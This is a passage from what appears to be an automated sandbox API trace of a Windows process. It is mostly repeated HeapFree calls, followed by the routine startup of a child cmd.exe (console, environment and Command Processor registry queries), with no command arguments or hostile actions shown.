	[0094.549] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0094.557] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0094.557] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0094.558] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.560] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.568] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.579] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0094.580] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.634] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0094.634] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0094.634] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0094.639] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0094.640] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0094.640] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0094.640] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0094.640] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0094.642] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.685] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0094.685] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0094.685] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0094.687] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.687] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.689] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.692] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0094.692] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0095.146] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0095.146] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0095.146] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0095.146] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.042] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.044] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.044] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.044] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.047] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.048] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.048] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.049] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.050] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.052] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.072] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.072] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.072] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.073] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.073] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0096.073] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.073] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.073] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0096.073] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.075] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.077] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.077] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.078] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.079] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.079] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.079] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.080] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.081] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.081] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.085] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.085] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.085] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.085] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.085] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.087] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.122] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ebb008 | out: hHeap=0x500000) returned 1
	[0096.122] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.122] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e749d0 | out: hHeap=0x500000) returned 1
	[0096.124] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.633] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.633] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.634] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.634] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.634] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.634] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0096.639] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0096.642] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0096.642] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e849d8 | out: hHeap=0x500000) returned 1
	[0096.642] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.645] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.645] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0096.647] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.647] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.647] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0096.649] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0096.653] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0096.655] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0096.658] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0096.660] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0096.666] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0096.667] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0096.918] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f1b020 | out: hHeap=0x500000) returned 1
	[0097.909] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0097.909] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3f0b018 | out: hHeap=0x500000) returned 1
	[0097.910] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3efb010 | out: hHeap=0x500000) returned 1
	[0097.914] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0097.914] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0097.916] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.916] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.916] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.916] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0097.917] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.917] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.920] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0097.920] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0097.920] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.920] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.923] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0097.925] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.925] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.925] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0097.925] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.925] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.925] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0097.926] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.928] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.930] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.930] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0097.930] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.931] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.931] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0097.931] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.932] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.933] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.934] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.934] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0097.935] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.937] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.937] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.937] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.941] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1
	[0097.943] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.946] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.949] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.950] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3da3968 | out: hHeap=0x500000) returned 1
	[0097.950] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.950] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d93960 | out: hHeap=0x500000) returned 1
	[0097.950] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d40048 | out: hHeap=0x500000) returned 1

Thread:
	id = 27
	os_tid = 0xc2c


Thread:
	id = 28
	os_tid = 0xc18


Process:
	id = "2"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x16700000"
	os_pid = "0x10cc"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0x13a8"
	cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\""
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0001086c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 3
	os_tid = 0x10d4

	[0070.183] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff6f6030000
	[0070.183] __set_app_type (_Type=0x1) 
	[0070.183] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6f6046d00) returned 0x0
	[0070.183] __getmainargs (in: _Argc=0x7ff6f6069200, _Argv=0x7ff6f6069208, _Env=0x7ff6f6069210, _DoWildCard=0, _StartInfo=0x7ff6f606921c | out: _Argc=0x7ff6f6069200, _Argv=0x7ff6f6069208, _Env=0x7ff6f6069210) returned 0
	[0070.183] _onexit (_Func=0x7ff6f6047fd0) returned 0x7ff6f6047fd0
	[0070.183] _onexit (_Func=0x7ff6f6047fe0) returned 0x7ff6f6047fe0
	[0070.183] _onexit (_Func=0x7ff6f6047ff0) returned 0x7ff6f6047ff0
	[0070.183] _onexit (_Func=0x7ff6f6048000) returned 0x7ff6f6048000
	[0070.184] _onexit (_Func=0x7ff6f6048010) returned 0x7ff6f6048010
	[0070.184] _onexit (_Func=0x7ff6f6048020) returned 0x7ff6f6048020
	[0070.184] GetCurrentThreadId () returned 0x10d4
	[0070.184] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x10d4) returned 0x70
	[0070.184] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffc37f90000
	[0070.185] GetProcAddress (hModule=0x7ffc37f90000, lpProcName="SetThreadUILanguage") returned 0x7ffc37faa990
	[0070.185] SetThreadUILanguage (LangId=0x0) returned 0x409
	[0070.435] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0070.435] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x59757cf998 | out: phkResult=0x59757cf998*=0x0) returned 0x2
	[0070.435] VirtualQuery (in: lpAddress=0x59757cf984, lpBuffer=0x59757cf900, dwLength=0x30 | out: lpBuffer=0x59757cf900*(BaseAddress=0x59757cf000, AllocationBase=0x59756d0000, AllocationProtect=0x4, __alignment1=0xffffdd07, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0070.435] VirtualQuery (in: lpAddress=0x59756d0000, lpBuffer=0x59757cf900, dwLength=0x30 | out: lpBuffer=0x59757cf900*(BaseAddress=0x59756d0000, AllocationBase=0x59756d0000, AllocationProtect=0x4, __alignment1=0xffffdd07, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0070.435] VirtualQuery (in: lpAddress=0x59756d1000, lpBuffer=0x59757cf900, dwLength=0x30 | out: lpBuffer=0x59757cf900*(BaseAddress=0x59756d1000, AllocationBase=0x59756d0000, AllocationProtect=0x4, __alignment1=0xffffdd07, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0070.436] VirtualQuery (in: lpAddress=0x59756d4000, lpBuffer=0x59757cf900, dwLength=0x30 | out: lpBuffer=0x59757cf900*(BaseAddress=0x59756d4000, AllocationBase=0x59756d0000, AllocationProtect=0x4, __alignment1=0xffffdd07, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0070.436] VirtualQuery (in: lpAddress=0x59757d0000, lpBuffer=0x59757cf900, dwLength=0x30 | out: lpBuffer=0x59757cf900*(BaseAddress=0x59757d0000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffdd07, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30
	[0070.436] GetConsoleOutputCP () returned 0x1b5
	[0070.559] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6f606fbb0 | out: lpCPInfo=0x7ff6f606fbb0) returned 1
	[0070.559] SetConsoleCtrlHandler (HandlerRoutine=0x7ff6f6058150, Add=1) returned 1
	[0070.559] _get_osfhandle (_FileHandle=1) returned 0x254
	[0070.559] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6f606fc04 | out: lpMode=0x7ff6f606fc04) returned 0
	[0070.559] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.559] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6f606fc00 | out: lpMode=0x7ff6f606fc00) returned 0
	[0070.559] _get_osfhandle (_FileHandle=1) returned 0x254
	[0070.559] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0070.559] _get_osfhandle (_FileHandle=1) returned 0x254
	[0070.559] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff6f606fc08 | out: lpMode=0x7ff6f606fc08) returned 0
	[0070.559] _get_osfhandle (_FileHandle=0) returned 0x248
	[0070.560] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff6f606fc0c | out: lpMode=0x7ff6f606fc0c) returned 0
	[0070.560] GetEnvironmentStringsW () returned 0x1c4ef515a10*
	[0070.560] GetProcessHeap () returned 0x1c4ef510000
	[0070.560] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xa7c) returned 0x1c4ef5164a0
	[0070.560] FreeEnvironmentStringsA (penv="A") returned 1
	[0070.560] GetProcessHeap () returned 0x1c4ef510000
	[0070.560] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0x8) returned 0x1c4ef516f30
	[0070.560] GetEnvironmentStringsW () returned 0x1c4ef515a10*
	[0070.560] GetProcessHeap () returned 0x1c4ef510000
	[0070.560] RtlAllocateHeap (HeapHandle=0x1c4ef510000, Flags=0x8, Size=0xa7c) returned 0x1c4ef516f50
	[0070.560] FreeEnvironmentStringsA (penv="A") returned 1
	[0070.561] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x59757ce848 | out: phkResult=0x59757ce848*=0x7c) returned 0x0
	[0070.561] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x0, lpData=0x59757ce860*=0x4, lpcbData=0x59757ce844*=0x1000) returned 0x2
	[0070.561] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x4, lpData=0x59757ce860*=0x1, lpcbData=0x59757ce844*=0x4) returned 0x0
	[0070.561] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x0, lpData=0x59757ce860*=0x1, lpcbData=0x59757ce844*=0x1000) returned 0x2
	[0070.561] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x4, lpData=0x59757ce860*=0x0, lpcbData=0x59757ce844*=0x4) returned 0x0
	[0070.561] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x4, lpData=0x59757ce860*=0x40, lpcbData=0x59757ce844*=0x4) returned 0x0
	[0070.561] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x4, lpData=0x59757ce860*=0x40, lpcbData=0x59757ce844*=0x4) returned 0x0
	[0070.561] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x59757ce840, lpData=0x59757ce860, lpcbData=0x59757ce844*=0x1000 | out: lpType=0x59757ce840*=0x0, lpData=0x59757ce860*=0x40, lpcbData=0x59757ce844*=0x1000) returned 0x2
	[0070.561] RegCloseKey (hKey=0x7c) returned 0x0
